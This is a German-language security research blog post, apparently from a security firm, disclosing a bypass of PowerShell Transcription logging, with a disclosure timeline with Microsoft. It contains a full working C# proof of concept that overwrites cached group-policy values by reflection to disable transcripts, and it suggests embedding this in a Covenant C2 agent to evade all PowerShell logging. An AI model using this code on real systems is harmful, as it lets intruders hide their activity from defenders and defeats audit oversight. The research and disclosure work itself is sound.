PowerShell

PowerShell Enhanced Logging Capabilities Bypass

Ein Blogbeitrag über einen neuen Bypass der Loggingmechanismen für PowerShell, der auch für Transcription Logging funktioniert.


PowerShell 5.1 bietet drei verschiedene Arten von Logging: Script Block Logging, Module Logging und Transcription. Die verschiedenen Funktionalitäten der Loggingmechanismen werden in diesem Blogbeitrag nicht erläutert, stattdessen können sie in der offiziellen Microsoft-Dokumentation oder in Blogbeiträgen anderer Security Researcher (bspw. diesem FireEye Blog) nachgelesen werden. Seit Angreifer vermehrt PowerShell zu nutzen begannen, haben die Verteidiger angefangen, diese Logging-Mechanismen zu aktivieren, um mögliche böswillige Aktivitäten zu erkennen. Sowohl für Angreifer, als auch Verteidiger ist es wichtig zu wissen, ob und wie diese Logging-Mechanismen derzeit umgangen werden können (sogenannte Bypasses).

Als wir begonnen haben, uns mit diesen Logging-Mechanismen auseinanderzusetzen, konnten bereits zwei von diesen drei umgangen werden, nämlich Script Block Logging und Module Logging. Es gibt zwei verschiedene Techniken, welche für einen Bypass genutzt werden:

  • SharpSploits Shell.cs bietet die Möglichkeit, den Loggingbypass mit einer Boolean-Variable an- oder abzuschalten. Wenn der Bypass aktiviert ist, werden die Events, welche vom Logging-Mechanismus ausgelöst und an das Event Tracing for Windows (ETW) gesendet werden, mit einer nicht-standardmässigen GUID versehen. Dies führt dazu, dass ein Analyst, der alle Events filtert, um nur PowerShell-bezogene Einträge zu sehen, diese Events nicht sehen würde, da Windows die neuerstellte GUID nicht mit PowerShell assoziiert. Damit wird das Logging nicht im eigentlichen Sinne umgangen, doch die Analyse der Script Block Logging oder Module Logging Events wird erschwert und ein Verteidiger, der sich dieses Bypasses nicht bewusst ist, sieht die erstellten Events möglicherweise nicht.

  • Ryan Cobb (@cobbr) hat einen anderen, ausgeklügelteren Script Block Logging Bypass gefunden und dazu einen Beitrag auf seinem persönlichen Blog veröffentlicht. BC Security hat dann in einem Blogbeitrag gezeigt, wie mit diesem Bypass auch das Module Logging deaktiviert werden kann. Der Bypass nutzt einen Caching-Mechanismus aus, welcher von PowerShell genutzt wird. Dazu später mehr.

Indem wir denselben Caching-Mechanismus wie im Script Block Logging und Module Logging Bypass ausnutzten, haben wir eine Möglichkeit gefunden, auch die PowerShell Transcription zu umgehen. Uns sind zum Zeitpunkt dieses Beitrags keine anderen PowerShell Transcription Bypasses bekannt.

Technische Erläuterung
Ob die Logging-Mechanismen aktiv sind oder nicht kann mittels Registry-Keys in HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ bestimmt werden. Da sie in HKEY_LOCAL_MACHINE sind, werden für Änderungen administrative Berechtigungen benötigt. Da PowerShell gemäss Ryan Cobbs Blogbeitrag für jeden neuen Script Block prüft, ob das Script Block Logging aktiv ist, werden die Werte der Registry-Keys in das Feld cachedGroupPolicySettings in System.Management.Automation.Utils zwischengespeichert. Doch mittels Reflection in C# können diese zwischengespeicherten Werte verändert werden, selbst von Benutzern ohne administrativen Berechtigungen, die die Registry-Einträge eigentlich nicht bearbeiten dürfen.

Das ist bisher nichts Neues. Jedoch kann das Transcription Logging ohne einen zusätzlichen Schritt noch nicht umgangen werden. Wird der Wert des Registry-Keys EnableTranscripting auf 0 gesetzt während eine PowerShell-Instanz aktiv ist, wird das Transcript fortgesetzt und es ist kein Bypass möglich, obwohl der zwischengespeicherte Wert auf 0 ist. Werden diese Änderungen jedoch gemacht, bevor ein Custom PowerShell Runspace geöffnet wird, nutzt der Runspace die zwischengespeicherten (und somit die geänderten) Werte, was eine Umgehung aller drei Logging-Mechanismen ermöglicht, ohne dass administrative Berechtigungen benötigt werden. Dieses Verhalten wurde auf einem Windows 10 Pro (Build 19042) verifiziert, andere Versionen sind mit hoher Wahrscheinlichkeit auch betroffen.

Proof of Concept
Der folgende C# Code erstellt einen Custom Runspace, überschreibt den zwischengespeicherten Wert für EnableTranscripting mit 0 und öffnet dann den erstellten Runspace. Eine PowerShell-Instanz wird dann in diesem Runspace erstellt und ein beliebiger Befehl ausgeführt. Es wird keine Transkriptdatei erstellt, sogar wenn der eigentliche Wert des Registry-Keys auf 1 gesetzt ist und das Logging aktiv sein sollte.
Hinweis: System.Management.Automation.dll muss für das initiale Kompilieren des Codes referenziert werden (getestet in Microsoft Visual Studio 2019).

using System;
using System.Reflection;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Collections.ObjectModel;

namespace CustomRunspace
{
    class CustomRunspace
    {
        static void Main(string[] args)
        {
            Runspace rs = RunspaceFactory.CreateRunspace();

            // Transcription Logging Bypass
            BindingFlags bf = BindingFlags.NonPublic | BindingFlags.Static;
            ConcurrentDictionary<string, Dictionary<string, object>> value = (ConcurrentDictionary<string, Dictionary<string, object>>) rs.GetType().Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings", bf).GetValue(null);
            Dictionary<string, object> dic = new Dictionary<string, object>();
            dic.Add("EnableTranscripting", "0");
            value.GetOrAdd("HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", dic);
            
            // Open Runspace, cachedGroupPolicySettings seem to be read now
            rs.Open();

            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddCommand("Get-Runspace");

            Collection<PSObject> results = ps.Invoke();
            foreach (var result in results)
            {
                Console.WriteLine(result);
            }
            rs.Close();
        }
    }
}
 

Bypass in Aktion
 

Wie im GIF oben ersichtlich, ist die PowerShell Transcription auf dem Testsystem aktiviert. Die Transkripte werden in den Ordner Documents des Benutzers geschrieben. Wird nun ein normales PowerShell-Fenster geöffnet, entsteht der Ordner 20210511 und die Transkriptdatei wird darin erstellt. Dann wird CustomRunspace.exe ausgeführt. Diese ausführbare Datei nutzt den obenstehenden Code des PoC, schreibt jedoch zusätzlich noch die Ausgabe von $psversiontable in eine Datei namens output_poc.txt im Transkriptordner mittels einem vorgegebenen Pfad. Damit soll gezeigt werden, dass eine PowerShell-Instanz geöffnet wird, darin eine Ausgabe der Version gemacht werden kann, aber kein Transkript erstellt wird.

Die beiden Prozesse können zudem mit ProcessHacker genauer untersucht werden. Der normale PowerShell-Prozess zeigt einen aktiven Handle auf das Transkript, die Datei wird also vom Prozess genutzt.

Prozess im ProcessHacker

In der Übersicht für den Prozess von CustomRunspace.exe ist kein Handle auf eine Transkriptdatei aktiv.

Kein Handle im ProcessHacker sichtbar

Einsatz
Wir bei avantguard cyber security GmbH sind Fans des Open Source Command-and-Control (C2) Frameworks Covenant. Da es Open Source ist, können Benutzer den C# Code bearbeiten, ausführen und testen. Covenant nutzt SharpSploit und ein Angreifer könnte somit den Code des C2 Agents ("Grunt" genannt im Covenant) so bearbeiten, dass statt nur einer PowerShell-Instanz ein neuer Custom Runspace erstellt wird. Dieser wird dann mit den zwischengespeicherten und geänderten Registry-Werten geöffnet. Die Änderungen müssten in SharpSploit/Execution/Shell.cs gemacht werden. Dieser C2 Agent könnte alle PowerShell Logging-Mechanismen umgehen, inklusive PowerShell Transcription.

Ausblick
Wir werden weiter testen, wie PowerShell das cachedGroupPolicySettings Feld in System.Management.Automation.Utils nutzt und ob andere Registry-Keys ebenfalls von diesem Cache gelesen werden wenn ein Custom Runspace geöffnet wird. Zudem werden wir zusätzliche Felder und Funktionen enumerieren, welche kaum dokumentiert sind. Werte, welche nur von einem privilegierten Administrator verändert werden sollen, aus einem benutzerkontrollierten Cache auszulesen ist unserer Meinung nach eine Schwachstelle und andere ähnliche Schwachstellen könnten möglicherweise auch gefunden werden.

Für mehr Informationen, weitere Ideen, neue Resultate basierend auf diesem Bypass oder falls dieser Blogpost auf andere Weise geholfen hat, würden wir uns über einen Tweet an @avantguard_io oder ein Mail an research@avantguard.io freuen!

Timeline
10. Mai 2021 - Gefundenes Problem wurde an Microsoft als Security Feature Bypass via Mitigation Bypass Bounty Program gemeldet
19. Mai 2021 - Bestätigung des gemeldeten Verhaltens durch Microsoft und dass weitere Untersuchungen stattfinden werden  
26. Mai 2021 - Verhalten wurde als Not a Vulnerability für das Bounty Program klassifiziert  
09. Juli 2021 - Entscheid von Microsoft, die Schwachstelle nicht in der aktuellen Version zu beheben und Erlaubnis unsere Resultate zu veröffentlichen

Similar posts